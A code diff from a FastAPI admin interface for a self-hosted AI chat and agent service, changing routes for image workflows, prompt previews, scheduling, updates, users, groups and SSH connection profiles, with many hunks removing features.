|
||||
return "Paste the workflow, in ComfyUI's API format."
|
||||
try:
|
||||
parsed = json.loads(raw)
|
||||
except json.JSONDecodeError as exc:
|
||||
return f"That is not valid JSON: {exc}"
|
||||
if not isinstance(parsed, dict) or not parsed:
|
||||
return (
|
||||
"A ComfyUI API workflow is a JSON object keyed by node id. Use "
|
||||
"“Export (API)” in ComfyUI rather than “Save”."
|
||||
)
|
||||
|
||||
# The check worth having: a workflow with no {{prompt}} in it draws the same
|
||||
# picture whatever anybody types, and would look like a broken model rather
|
||||
# than an unparameterised template.
|
||||
found = workflow_service.placeholders_in(parsed)
|
||||
missing = [name for name in REQUIRED_PLACEHOLDERS if name not in found]
|
||||
if missing:
|
||||
return (
|
||||
f"The workflow never uses {{{{{missing[0]}}}}}, so every image would be "
|
||||
f"the same. Put it where the text prompt goes."
|
||||
)
|
||||
unknown = found - set(workflow_service.PLACEHOLDERS)
|
||||
if unknown:
|
||||
return f"Unknown placeholder {{{{{sorted(unknown)[0]}}}}}."
|
||||
|
||||
row.workflow_json = parsed
|
||||
return ""
|
||||
|
||||
|
||||
@router.get("/workflows/new")
|
||||
async def new_workflow(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
"""A draft, never persisted -- the `admin_tools` shape.
|
||||
|
||||
Registered before `/workflows/{workflow_id}`: FastAPI matches in
|
||||
registration order, and with the parameterised route first "new" is an id.
|
||||
"""
|
||||
from pathlib import Path
|
||||
|
||||
base = Path(__file__).resolve().parent.parent / "services/images/base_workflow.json"
|
||||
draft = ImageWorkflow(
|
||||
slug="",
|
||||
name="",
|
||||
description="",
|
||||
workflow_json=json.loads(base.read_text(encoding="utf-8")),
|
||||
enabled=True,
|
||||
)
|
||||
return _detail(request, db, draft, is_new=True)
|
||||
|
||||
|
||||
@router.post("/workflows")
|
||||
async def create_workflow(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
form = await request.form()
|
||||
row = ImageWorkflow(workflow_json={})
|
||||
_populate(row, form)
|
||||
problem = _problem(db, row, form)
|
||||
if problem:
|
||||
return _detail(
|
||||
request,
|
||||
db,
|
||||
row,
|
||||
is_new=True,
|
||||
error=problem,
|
||||
workflow_text=str(form.get("workflow") or ""),
|
||||
)
|
||||
row.position = (
|
||||
db.scalar(select(func.coalesce(func.max(ImageWorkflow.position), -1))) or -1
|
||||
) + 1
|
||||
db.add(row)
|
||||
db.commit()
|
||||
log.info("%s added image workflow %s", user.email, row.slug)
|
||||
return RedirectResponse(
|
||||
f"/admin/images?saved=Added {row.name}.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.get("/workflows/{workflow_id}/edit")
|
||||
async def edit_workflow(request: Request, db: Db, user: AdminUser, workflow_id: str) -> Response:
|
||||
return _detail(request, db, _workflow(db, workflow_id), is_new=False)
|
||||
|
||||
|
||||
@router.post("/workflows/{workflow_id}/delete")
|
||||
async def delete_workflow(db: Db, user: AdminUser, workflow_id: str) -> Response:
|
||||
row = _workflow(db, workflow_id)
|
||||
name = row.name
|
||||
db.delete(row)
|
||||
db.commit()
|
||||
log.info("%s deleted image workflow %s", user.email, name)
|
||||
return RedirectResponse(
|
||||
f"/admin/images?saved=Deleted {name}.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/workflows/{workflow_id}")
|
||||
async def update_workflow(request: Request, db: Db, user: AdminUser, workflow_id: str) -> Response:
|
||||
row = _workflow(db, workflow_id)
|
||||
form = await request.form()
|
||||
|
||||
# Validated against a draft, so a rejected save leaves the stored row alone
|
||||
# and the form still holds what was typed.
|
||||
draft = ImageWorkflow(workflow_json={}, position=row.position)
|
||||
_populate(draft, form)
|
||||
problem = _problem(db, draft, form, existing_id=row.id)
|
||||
if problem:
|
||||
draft.id = row.id
|
||||
return _detail(
|
||||
request,
|
||||
db,
|
||||
draft,
|
||||
is_new=False,
|
||||
error=problem,
|
||||
workflow_text=str(form.get("workflow") or ""),
|
||||
)
|
||||
|
||||
_populate(row, form)
|
||||
row.slug = draft.slug
|
||||
row.workflow_json = draft.workflow_json
|
||||
row.last_checked_at = datetime.now(UTC)
|
||||
row.last_error = ""
|
||||
db.commit()
|
||||
log.info("%s updated image workflow %s", user.email, row.slug)
|
||||
return RedirectResponse(
|
||||
f"/admin/images?saved=Saved {row.name}.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
@@ -23,10 +23,7 @@ router = APIRouter(tags=["admin-models"])
|
||||
|
||||
# What the endpoint can do. Endpoints do not advertise any of this reliably, so
|
||||
# these are an administrator's assertion.
|
||||
# `embeddings` is the odd one out and is worth naming as such: the other three
|
||||
# say what a model can do in a *chat*, and this one says it is not for chatting
|
||||
# at all. It is what /admin/extraction picks from, and nothing else reads it.
|
||||
PROTOCOL_CAPABILITIES = ("reasoning", "vision", "tools", "embeddings")
|
||||
PROTOCOL_CAPABILITIES = ("reasoning", "vision", "tools")
|
||||
|
||||
# Which tools this model is given. Distinct from the above: `tools` is whether a
|
||||
# tools array may be sent at all, these are what goes in it. Every one of them is
|
||||
@@ -47,11 +44,6 @@ TOOL_CAPABILITIES = (
|
||||
("tool_custom", "Custom tools"),
|
||||
("tool_mcp", "MCP servers"),
|
||||
("tool_ask", "Ask the reader"),
|
||||
("tool_report", "Reports"),
|
||||
("tool_image", "Image generation"),
|
||||
("tool_scratch", "Canvas"),
|
||||
("tool_schedule", "Scheduling"),
|
||||
("tool_subagent", "Helpers"),
|
||||
("tool_agent", "Agent execution"),
|
||||
)
|
||||
|
||||
|
||||
@@ -18,7 +18,6 @@ from lembas.services import harness as harness_service
|
||||
from lembas.services import prompts as prompts_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.services.agent import policy
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
@@ -29,49 +28,6 @@ router = APIRouter(prefix="/admin/prompts", tags=["admin-prompts"])
|
||||
# in place rather than imagined. An administrator can clear the field.
|
||||
SAMPLE_DOCUMENTS = "report.pdf, notes.txt"
|
||||
|
||||
# The rest of what a preview has to pretend, and the reason it must.
|
||||
#
|
||||
# `harness.context_variables` fills most `requires` gates only when it is handed
|
||||
# a real `Chat` -- the machine, the directory, the plan, the project listing, a
|
||||
# scheduled task's instruction, the flag saying this is a helper. The preview
|
||||
# passes `chat=None`, so every one of those stayed empty and **eleven gated
|
||||
# fragments could never appear in it at all**: the whole agent surface, both
|
||||
# scheduling fragments, and the helper warning. An administrator editing
|
||||
# `tool.agent` previewed a system message with `tool.agent` missing from it, and
|
||||
# nothing said so.
|
||||
#
|
||||
# Samples rather than a transient Chat. `compose_from` takes plain variables
|
||||
# precisely so this screen never has to build one, and a constructed row would
|
||||
# need a connection, a profile and a directory that exist -- inventing an SSH
|
||||
# host to render a paragraph is a worse trade than inventing the paragraph's
|
||||
# values. This is what `SAMPLE_DOCUMENTS` has always done, extended to the rest.
|
||||
SAMPLE_AGENT = {
|
||||
"agent_target": "buildbox",
|
||||
"agent_dir": "/srv/www/example",
|
||||
"agent_rewound": "on 3 August at 14:20",
|
||||
"background": "on",
|
||||
"project_files": "src/\n app.py\n models.py\nREADME.md\npyproject.toml",
|
||||
"agent_instructions": "Run the tests with `make check` before proposing a change.",
|
||||
"agent_instructions_file": "AGENTS.md",
|
||||
"plan": "1. [done] Read the failing test\n2. [doing] Fix the parser\n3. [todo] Add a case",
|
||||
}
|
||||
|
||||
SAMPLE_SCHEDULE = {
|
||||
"schedule_instruction": "Summarise what changed in the repository since yesterday.",
|
||||
"schedule_summary": "every weekday at 08:00",
|
||||
}
|
||||
|
||||
# Situations a chat can be in that are not a tool family, so nothing on the
|
||||
# "Tools offered" row can reach them. `kind` and `parent_chat_id` in the model.
|
||||
SITUATION_ORDINARY = ""
|
||||
SITUATION_TASK = "task"
|
||||
SITUATION_HELPER = "helper"
|
||||
SITUATIONS = (
|
||||
(SITUATION_ORDINARY, "An ordinary chat"),
|
||||
(SITUATION_TASK, "A scheduled task, running unattended"),
|
||||
(SITUATION_HELPER, "A helper sent by another model"),
|
||||
)
|
||||
|
||||
|
||||
def _families_of(db: Db, names: list[str]) -> list[str]:
|
||||
"""Keep only real family names, in the registry's order.
|
||||
@@ -98,8 +54,6 @@ def _variables(
|
||||
model_name: str = "",
|
||||
bases: str = "",
|
||||
documents: str = "",
|
||||
situation: str = SITUATION_ORDINARY,
|
||||
mode: str = "",
|
||||
) -> dict[str, str]:
|
||||
"""The preview's variable values.
|
||||
|
||||
@@ -110,14 +64,7 @@ def _variables(
|
||||
|
||||
No Chat row is made. `harness.compose_from` takes plain variables precisely
|
||||
so that this screen never has to build a transient one.
|
||||
|
||||
The samples are gated exactly as `context_variables` gates the real values --
|
||||
the agent block on the `agent` family, the schedule and helper blocks on the
|
||||
situation rather than on any family, because neither is a tool. A preview
|
||||
that admitted a fragment the real request would not is worse than one that
|
||||
omitted it, so the gating is mirrored rather than approximated.
|
||||
"""
|
||||
from lembas.services.agent import policy
|
||||
from lembas.services.library import memories as memories_service
|
||||
from lembas.services.library import skills as skills_service
|
||||
|
||||
@@ -132,18 +79,6 @@ def _variables(
|
||||
"document_names": documents,
|
||||
}
|
||||
)
|
||||
if "agent" in families:
|
||||
values.update(SAMPLE_AGENT)
|
||||
# A real one out of the table, not invented prose: this bullet *is* the
|
||||
# mode guidance, so a made-up sentence here would preview wording that
|
||||
# no request ever carries.
|
||||
values["agent_mode"] = policy.MODE_GUIDANCE.get(mode, "") or policy.MODE_GUIDANCE[
|
||||
policy.MODE_EDIT
|
||||
]
|
||||
if situation == SITUATION_TASK:
|
||||
values.update(SAMPLE_SCHEDULE)
|
||||
if situation == SITUATION_HELPER:
|
||||
values["subagent"] = "yes"
|
||||
return values
|
||||
|
||||
|
||||
@@ -174,27 +109,16 @@ async def prompts_page(request: Request, db: Db, user: AdminUser, saved: bool =
|
||||
"variables": prompts_service.VARIABLES,
|
||||
# The legend shows what each name resolves to right now, with every
|
||||
# family on -- a legend nobody can check is just a list of words.
|
||||
# Every situation at once, unlike the preview: a chat is either a
|
||||
# scheduled task or a helper and never both, but a legend is a
|
||||
# reference rather than a rendering, and a name shown as empty
|
||||
# because of the situation it was built in reads as a name that
|
||||
# resolves to nothing.
|
||||
"resolved": {
|
||||
**_variables(
|
||||
"resolved": _variables(
|
||||
db,
|
||||
user,
|
||||
families=families,
|
||||
model_name=models[0].label if models else "",
|
||||
bases="Contracts, Recipes",
|
||||
documents=SAMPLE_DOCUMENTS,
|
||||
situation=SITUATION_TASK,
|
||||
),
|
||||
"subagent": "yes",
|
||||
},
|
||||
"models": models,
|
||||
"families": families,
|
||||
"situations": SITUATIONS,
|
||||
"modes": policy.MODE_LABELS,
|
||||
"registry": sorted(
|
||||
tools_service.registry(db).values(), key=lambda t: (t.family, t.name)
|
||||
),
|
||||
@@ -249,8 +173,6 @@ async def preview(request: Request, db: Db, user: AdminUser):
|
||||
model_name = str(form.get("preview_model") or "")
|
||||
bases = str(form.get("preview_bases") or "").strip()
|
||||
documents = str(form.get("preview_documents") or "").strip()
|
||||
situation = str(form.get("preview_situation") or "")
|
||||
mode = str(form.get("preview_mode") or "")
|
||||
|
||||
variables = _variables(
|
||||
db,
|
||||
@@ -259,8 +181,6 @@ async def preview(request: Request, db: Db, user: AdminUser):
|
||||
model_name=model_name,
|
||||
bases=bases,
|
||||
documents=documents,
|
||||
situation=situation,
|
||||
mode=mode,
|
||||
)
|
||||
body = harness_service.compose_from(
|
||||
db,
|
||||
|
||||
@@ -1,76 +0,0 @@
|
||||
"""Scheduling administration: whether work may run on its own, and how much.
|
||||
|
||||
Everything here is clamped again in `settings_store.schedules` on the way out.
|
||||
That is not belt and braces for its own sake: a value stored by an earlier
|
||||
release, or edited into the database by hand, has to be survivable too, and the
|
||||
same argument `agents` and `images` already make. What this page adds is telling
|
||||
somebody *why* a number matters at the moment they change it.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy import func, select
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import Schedule
|
||||
from lembas.services import settings_store
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/schedules", tags=["admin-schedules"])
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def schedules_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
|
||||
total = int(db.scalar(select(func.count()).select_from(Schedule)) or 0)
|
||||
active = int(
|
||||
db.scalar(
|
||||
select(func.count()).select_from(Schedule).where(Schedule.enabled.is_(True))
|
||||
)
|
||||
or 0
|
||||
)
|
||||
return render(
|
||||
request,
|
||||
"admin/schedules.html",
|
||||
{
|
||||
"values": settings_store.schedules(db),
|
||||
# Shown because turning the switch off does not delete anything, and
|
||||
# an administrator who has just done so should be able to see what
|
||||
# has stopped rather than infer it.
|
||||
"total": total,
|
||||
"active": active,
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def save_schedules(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
enabled: bool = Form(False),
|
||||
tick_seconds: int = Form(30),
|
||||
max_per_user: int = Form(20),
|
||||
max_concurrent: int = Form(3),
|
||||
min_interval_seconds: int = Form(60),
|
||||
max_queued: int = Form(3),
|
||||
) -> Response:
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"enabled": enabled,
|
||||
"tick_seconds": tick_seconds,
|
||||
"max_per_user": max_per_user,
|
||||
"max_concurrent": max_concurrent,
|
||||
"min_interval_seconds": min_interval_seconds,
|
||||
"max_queued": max_queued,
|
||||
},
|
||||
key=settings_store.SCHEDULES,
|
||||
)
|
||||
log.info("scheduling %s by %s", "enabled" if enabled else "disabled", user.email)
|
||||
return RedirectResponse("/admin/schedules?saved=1", status_code=status.HTTP_303_SEE_OTHER)
|
||||
@@ -1,80 +0,0 @@
|
||||
"""What is running here, and getting to what is not.
|
||||
|
||||
Read `services/updates.py` first — the reason the button writes a file rather
|
||||
than doing the work is there, and it is the whole design.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.services import updates as updates_service
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/updates", tags=["admin-updates"])
|
||||
|
||||
|
||||
def _page(request: Request, state, saved: str = "") -> Response:
|
||||
return render(
|
||||
request,
|
||||
"admin/updates.html",
|
||||
{
|
||||
"state": state,
|
||||
"command": updates_service.manual_command(),
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def updates_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
|
||||
"""No network on a page load.
|
||||
|
||||
`read(fetch=False)` compares against whatever the last fetch left behind, so
|
||||
opening this is a few git reads off the local disk. A page that reached the
|
||||
remote every time it was rendered would be one somebody stops opening.
|
||||
"""
|
||||
return _page(request, updates_service.read(), saved)
|
||||
|
||||
|
||||
@router.post("/check")
|
||||
async def check(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
"""Ask the remote what is there. The one place this touches the network."""
|
||||
state = updates_service.read(fetch=True)
|
||||
log.info("%s checked for updates", user.email)
|
||||
return _page(request, state)
|
||||
|
||||
|
||||
@router.post("/apply")
|
||||
async def apply(db: Db, user: AdminUser) -> Response:
|
||||
"""Write the request the helper is watching for.
|
||||
|
||||
Refused when the helper is not installed rather than written and left to sit
|
||||
there: a file nothing is watching is a button that reports success and does
|
||||
nothing, which is the failure this codebase keeps cataloguing.
|
||||
"""
|
||||
if not updates_service.helper_installed():
|
||||
return RedirectResponse(
|
||||
"/admin/updates?saved=The+update+helper+is+not+installed+on+this+host.",
|
||||
status_code=status.HTTP_303_SEE_OTHER,
|
||||
)
|
||||
problem = updates_service.request_update(user.email)
|
||||
message = problem or "Update requested. The service will restart in a moment."
|
||||
return RedirectResponse(
|
||||
f"/admin/updates?saved={message.replace(' ', '+')}",
|
||||
status_code=status.HTTP_303_SEE_OTHER,
|
||||
)
|
||||
|
||||
|
||||
@router.post("/cancel")
|
||||
async def cancel(db: Db, user: AdminUser) -> Response:
|
||||
updates_service.clear_request()
|
||||
return RedirectResponse(
|
||||
"/admin/updates?saved=Request+withdrawn.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
+12
-145
@@ -10,23 +10,11 @@ from sqlalchemy import func, or_, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import (
|
||||
PRINCIPAL_GROUP,
|
||||
PRINCIPAL_USER,
|
||||
ROLE_ADMIN,
|
||||
ROLE_PENDING,
|
||||
ROLE_USER,
|
||||
Chat,
|
||||
Group,
|
||||
Model,
|
||||
User,
|
||||
)
|
||||
from lembas.db.models import ROLE_ADMIN, ROLE_PENDING, ROLE_USER, Group, Model, User
|
||||
from lembas.security import permissions
|
||||
from lembas.security.passwords import hash_password, validate_password
|
||||
from lembas.security.sessions import revoke_all_for_user
|
||||
from lembas.services import chat as chat_service
|
||||
from lembas.services import settings_store, sharing
|
||||
from lembas.services import usage as usage_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
@@ -66,71 +54,22 @@ def _would_orphan_the_instance(db: DBSession, user: User) -> bool:
|
||||
|
||||
|
||||
# --- Users -------------------------------------------------------------------
|
||||
# List plus detail, which is the shape this codebase already mandates for admin
|
||||
# lists and the one `/admin/models` follows. The single page it replaces
|
||||
# rendered a full form per account *and* a membership grid, and edited that
|
||||
# membership from the opposite side to `/admin/groups` -- so a full-form POST
|
||||
# from either overwrote what the other had just shown.
|
||||
#
|
||||
# Membership is now edited from **one** side, the group's. A user's page links
|
||||
# to their groups and does not offer to change them, because two controls
|
||||
# writing one value is how each becomes the answer to "why did my change not
|
||||
# stick?".
|
||||
PAGE_SIZE = 25
|
||||
|
||||
|
||||
@router.get("/users")
|
||||
async def users_page(
|
||||
request: Request, db: Db, user: AdminUser, q: str = "", saved: str = "", page: int = 1
|
||||
):
|
||||
async def users_page(request: Request, db: Db, user: AdminUser, q: str = "", saved: str = ""):
|
||||
query = select(User).order_by(User.created_at)
|
||||
if q.strip():
|
||||
pattern = f"%{q.strip()}%"
|
||||
query = query.where(or_(User.name.ilike(pattern), User.email.ilike(pattern)))
|
||||
|
||||
total = db.scalar(select(func.count()).select_from(query.subquery())) or 0
|
||||
pages = max(1, (total + PAGE_SIZE - 1) // PAGE_SIZE)
|
||||
page = min(max(1, page), pages)
|
||||
rows = list(db.scalars(query.offset((page - 1) * PAGE_SIZE).limit(PAGE_SIZE)))
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/users.html",
|
||||
{
|
||||
"users": rows,
|
||||
"usage": {row.id: usage_service.summary(db, row) for row in rows},
|
||||
"users": list(db.scalars(query)),
|
||||
"groups": list(db.scalars(select(Group).order_by(Group.name))),
|
||||
"roles": ROLES,
|
||||
"q": q,
|
||||
"saved": saved,
|
||||
"pager": {"page": page, "pages": pages, "total": total},
|
||||
"admin_count": _admin_count(db),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/users/{user_id}")
|
||||
async def user_detail(request: Request, db: Db, user: AdminUser, user_id: str, saved: str = ""):
|
||||
"""One account, and the answer to "what can this person actually do?".
|
||||
|
||||
That answer is `permissions.explain`, which is `resolve`'s working shown
|
||||
rather than thrown away. Read-only on purpose: every one of those switches
|
||||
is set somewhere else -- the baseline, or a named group -- and a control here
|
||||
would be a third place to change one thing.
|
||||
"""
|
||||
target = _user(db, user_id)
|
||||
return render(
|
||||
request,
|
||||
"admin/user_detail.html",
|
||||
{
|
||||
"target": target,
|
||||
"roles": ROLES,
|
||||
"explained": permissions.explain(db, target),
|
||||
"permission_groups": permissions.permission_groups(),
|
||||
"limits": permissions.limits_for(db, target),
|
||||
"limit_defs": permissions.LIMIT_DEFS,
|
||||
"usage": usage_service.summary(db, target),
|
||||
"models": permissions.models_visible_to(db, target),
|
||||
"saved": saved,
|
||||
"admin_count": _admin_count(db),
|
||||
},
|
||||
)
|
||||
@@ -175,13 +114,8 @@ async def update_user(
|
||||
name: str = Form(...),
|
||||
role: str = Form(ROLE_USER),
|
||||
active: bool = Form(False),
|
||||
group_ids: list[str] = Form(default=[]),
|
||||
) -> Response:
|
||||
"""Name, role and whether the account is active. **Not membership.**
|
||||
|
||||
That moved to the group's page. It used to be here as well, and a full-form
|
||||
POST from either side overwrote whatever the other had -- two controls, one
|
||||
value, and no answer to which one wins.
|
||||
"""
|
||||
target = _user(db, user_id)
|
||||
|
||||
losing_admin = target.role == ROLE_ADMIN and (role != ROLE_ADMIN or not active)
|
||||
@@ -194,6 +128,7 @@ async def update_user(
|
||||
target.name = name.strip()[:120] or target.name
|
||||
target.role = role if role in ROLES else target.role
|
||||
target.active = active
|
||||
target.groups = list(db.scalars(select(Group).where(Group.id.in_(group_ids or []))))
|
||||
|
||||
# A deactivated or demoted user must lose their live sessions immediately,
|
||||
# otherwise the change only takes effect when their cookie happens to expire.
|
||||
@@ -202,9 +137,7 @@ async def update_user(
|
||||
|
||||
db.commit()
|
||||
log.info("%s updated account %s (role=%s active=%s)", user.email, target.email, role, active)
|
||||
return RedirectResponse(
|
||||
f"/admin/users/{target.id}?saved=Saved+{target.email}.", status_code=303
|
||||
)
|
||||
return RedirectResponse(f"/admin/users?saved=Saved+{target.email}.", status_code=303)
|
||||
|
||||
|
||||
@router.post("/users/{user_id}/password")
|
||||
@@ -213,7 +146,7 @@ async def reset_password(
|
||||
) -> Response:
|
||||
target = _user(db, user_id)
|
||||
if (problem := validate_password(password)) is not None:
|
||||
return RedirectResponse(f"/admin/users/{user_id}?saved={problem}", status_code=303)
|
||||
return RedirectResponse(f"/admin/users?saved={problem}", status_code=303)
|
||||
|
||||
target.password_hash = hash_password(password)
|
||||
db.commit()
|
||||
@@ -222,7 +155,7 @@ async def reset_password(
|
||||
revoke_all_for_user(db, target)
|
||||
log.info("%s reset the password for %s", user.email, target.email)
|
||||
return RedirectResponse(
|
||||
f"/admin/users/{target.id}?saved=Password+reset.+Sessions+revoked.",
|
||||
f"/admin/users?saved=Password+reset+for+{target.email}.+Sessions+revoked.",
|
||||
status_code=303,
|
||||
)
|
||||
|
||||
@@ -242,20 +175,6 @@ async def delete_user(db: Db, user: AdminUser, user_id: str) -> Response:
|
||||
|
||||
email = target.email
|
||||
# Chats and folders cascade; that is the point of deleting an account.
|
||||
#
|
||||
# Shares do not, and never did. `Share.principal_id` and
|
||||
# `Share.resource_id` both point at one of several tables depending on a
|
||||
# sibling column, which SQLite cannot express as a foreign key -- so a
|
||||
# deleted account left behind every grant *to* it and every grant *of* its
|
||||
# own work. Both halves, and both before the delete, while the rows are
|
||||
# still there to be found.
|
||||
sharing.forget_owner(db, target.id)
|
||||
sharing.forget_principal(db, PRINCIPAL_USER, target.id)
|
||||
# And the same shape a third time: the chats cascade, their attachment rows
|
||||
# cascade, and every file those rows named stays on disk with nothing left
|
||||
# that will ever look at it. Before the delete, while the rows still say
|
||||
# which files they are.
|
||||
chat_service.delete_chats(db, list(db.scalars(select(Chat).where(Chat.user_id == target.id))))
|
||||
db.delete(target)
|
||||
db.commit()
|
||||
log.info("%s deleted account %s", user.email, email)
|
||||
@@ -263,42 +182,17 @@ async def delete_user(db: Db, user: AdminUser, user_id: str) -> Response:
|
||||
|
||||
|
||||
# --- Groups ------------------------------------------------------------------
|
||||
# The same list-plus-detail shape. The old page rendered every group's full
|
||||
# permission grid, every member and every model on one screen, which is fine for
|
||||
# two groups and unreadable at ten.
|
||||
@router.get("/groups")
|
||||
async def groups_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
|
||||
groups = list(db.scalars(select(Group).order_by(Group.name)))
|
||||
return render(
|
||||
request,
|
||||
"admin/groups.html",
|
||||
{
|
||||
"groups": groups,
|
||||
"granted": {
|
||||
group.id: sum(1 for on in (group.permissions_json or {}).values() if on)
|
||||
for group in groups
|
||||
},
|
||||
"permission_groups": permissions.permission_groups(),
|
||||
"baseline": permissions.baseline_permissions(db),
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/groups/{group_id}")
|
||||
async def group_detail(request: Request, db: Db, user: AdminUser, group_id: str, saved: str = ""):
|
||||
group = _group(db, group_id)
|
||||
return render(
|
||||
request,
|
||||
"admin/group_detail.html",
|
||||
{
|
||||
"group": group,
|
||||
"groups": list(db.scalars(select(Group).order_by(Group.name))),
|
||||
"users": list(db.scalars(select(User).order_by(User.name))),
|
||||
"models": list(db.scalars(select(Model).order_by(Model.position, Model.model_id))),
|
||||
"permission_groups": permissions.permission_groups(),
|
||||
"baseline": permissions.baseline_permissions(db),
|
||||
"limit_defs": permissions.LIMIT_DEFS,
|
||||
"limits": group.limits_json or {},
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
@@ -322,7 +216,6 @@ async def create_group(db: Db, user: AdminUser, name: str = Form(...)) -> Respon
|
||||
|
||||
@router.post("/groups/{group_id}")
|
||||
async def update_group(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
group_id: str,
|
||||
@@ -333,7 +226,6 @@ async def update_group(
|
||||
model_ids: list[str] = Form(default=[]),
|
||||
) -> Response:
|
||||
group = _group(db, group_id)
|
||||
form = await request.form()
|
||||
|
||||
group.name = name.strip()[:120] or group.name
|
||||
group.description = description.strip()[:1000]
|
||||
@@ -343,26 +235,9 @@ async def update_group(
|
||||
group.users = list(db.scalars(select(User).where(User.id.in_(user_ids or []))))
|
||||
group.models = list(db.scalars(select(Model).where(Model.id.in_(model_ids or []))))
|
||||
|
||||
# Quotas. Only what was submitted and could be read as a number is stored, so
|
||||
# a blank box means "this group has no opinion" and contributes nothing to
|
||||
# the resolution -- which is what `limits_for` needs in order to tell it
|
||||
# apart from a deliberate zero, and zero here means *no limit*.
|
||||
wanted: dict[str, int] = {}
|
||||
for key in permissions.LIMIT_KEYS:
|
||||
raw = str(form.get(f"limit_{key}") or "").strip()
|
||||
if not raw:
|
||||
continue
|
||||
try:
|
||||
wanted[key] = max(0, int(raw))
|
||||
except ValueError:
|
||||
continue
|
||||
group.limits_json = wanted
|
||||
|
||||
db.commit()
|
||||
log.info("%s updated group %s", user.email, group.name)
|
||||
return RedirectResponse(
|
||||
f"/admin/groups/{group.id}?saved=Saved+{group.name}.", status_code=303
|
||||
)
|
||||
return RedirectResponse(f"/admin/groups?saved=Saved+{group.name}.", status_code=303)
|
||||
|
||||
|
||||
@router.post("/groups/{group_id}/delete")
|
||||
@@ -370,16 +245,8 @@ async def delete_group(db: Db, user: AdminUser, group_id: str) -> Response:
|
||||
group = _group(db, group_id)
|
||||
name = group.name
|
||||
# Members and model links go with it; the users themselves are untouched.
|
||||
#
|
||||
# Every share naming this group goes too. Nothing cascades -- see
|
||||
# `sharing.forget_principal` -- so a deleted group left its grants behind,
|
||||
# and a group id is a random hex string that nothing reissues today and
|
||||
# nothing promises not to reissue tomorrow.
|
||||
dropped = sharing.forget_principal(db, PRINCIPAL_GROUP, group.id)
|
||||
db.delete(group)
|
||||
db.commit()
|
||||
if dropped:
|
||||
log.info("dropped %d share(s) naming group %s", dropped, name)
|
||||
log.info("%s deleted group %s", user.email, name)
|
||||
return RedirectResponse(f"/admin/groups?saved=Deleted+{name}.", status_code=303)
|
||||
|
||||
|
||||
+3
-183
@@ -24,10 +24,7 @@ from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.api.pages import sidebar_context
|
||||
from lembas.db.models import AUTH_METHODS, AUTH_PASSWORD, SshProfile
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.agent import draft as draft_service
|
||||
from lembas.services.agent import hosts
|
||||
from lembas.services.agent import index as index_service
|
||||
from lembas.services.agent import jobs as jobs_service
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
from lembas.services.agent import terminal as terminal_service
|
||||
from lembas.services.agent.base import ExecError
|
||||
@@ -120,9 +117,6 @@ def _detail(
|
||||
else "",
|
||||
"has_key": bool(profile.private_key_encrypted),
|
||||
"problem": ssh_service.available(),
|
||||
# Empty on the new-connection page, where there is no host yet to
|
||||
# ask about -- the answer arrives when it is submitted.
|
||||
"refused": hosts.refusal_for(db, profile) if profile.host else "",
|
||||
},
|
||||
)
|
||||
|
||||
@@ -134,11 +128,7 @@ async def agents_page(request: Request, db: Db, user: RequiredUser, saved: str =
|
||||
"agents/index.html",
|
||||
{
|
||||
**sidebar_context(db, user),
|
||||
"profiles": (owned := _owned(db, user.id)),
|
||||
# Keyed by id rather than resolved in the template, because the
|
||||
# template has no session and this is a question about instance
|
||||
# settings, not about the row.
|
||||
"refusals": {p.id: hosts.refusal_for(db, p) for p in owned},
|
||||
"profiles": _owned(db, user.id),
|
||||
"saved": saved,
|
||||
"problem": ssh_service.available(),
|
||||
"enabled": bool(settings_store.agents(db).get("enabled")),
|
||||
@@ -187,18 +177,6 @@ def _problem(db: Db, profile: SshProfile, owner_id: str, *, existing_id: str = "
|
||||
if not profile.username:
|
||||
return "A connection needs a username to log in as."
|
||||
|
||||
# Saving is one of the two moments a DNS lookup is affordable, so this is
|
||||
# where a *name* pointing at loopback is settled and written to the row for
|
||||
